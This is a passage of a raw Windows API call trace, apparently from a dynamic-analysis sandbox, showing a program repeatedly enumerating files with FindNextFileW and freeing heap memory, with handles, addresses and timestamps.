lpMem=0x43c2070 | out: hHeap=0x490000) returned 1 [0318.618] FindNextFileW (in: hFindFile=0x43b07c8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0318.640] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43c2070 | out: hHeap=0x490000) returned 1 [0318.640] FindNextFileW (in: hFindFile=0x43b07c8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0318.643] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44150b0 | out: hHeap=0x490000) returned 1 [0318.643] FindNextFileW (in: hFindFile=0x43b0708, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0319.840] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.840] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.840] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.840] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.840] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.840] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.840] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.840] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.841] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.841] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.841] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.841] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.841] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.841] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.841] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.841] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.842] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.842] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.842] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.842] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.842] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.842] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.842] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.842] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.842] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.843] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.843] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.843] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.843] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.843] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.843] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.843] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.843] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.844] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.844] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.844] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.844] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.844] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.844] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.844] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.844] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.844] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.845] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.845] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.845] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.845] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.845] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.845] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.845] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.845] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.846] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.846] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.846] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.846] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.846] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.846] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.846] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.846] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.846] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.847] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.847] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.847] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.847] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.847] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.847] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.847] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.847] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.847] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.848] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.849] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.850] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.851] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.852] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.852] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.852] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.852] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.852] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.852] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.852] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.852] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.852] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.852] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.852] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.853] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.854] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.855] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.856] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: hFindFile=0x43b0508, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0319.857] FindNextFileW (in: 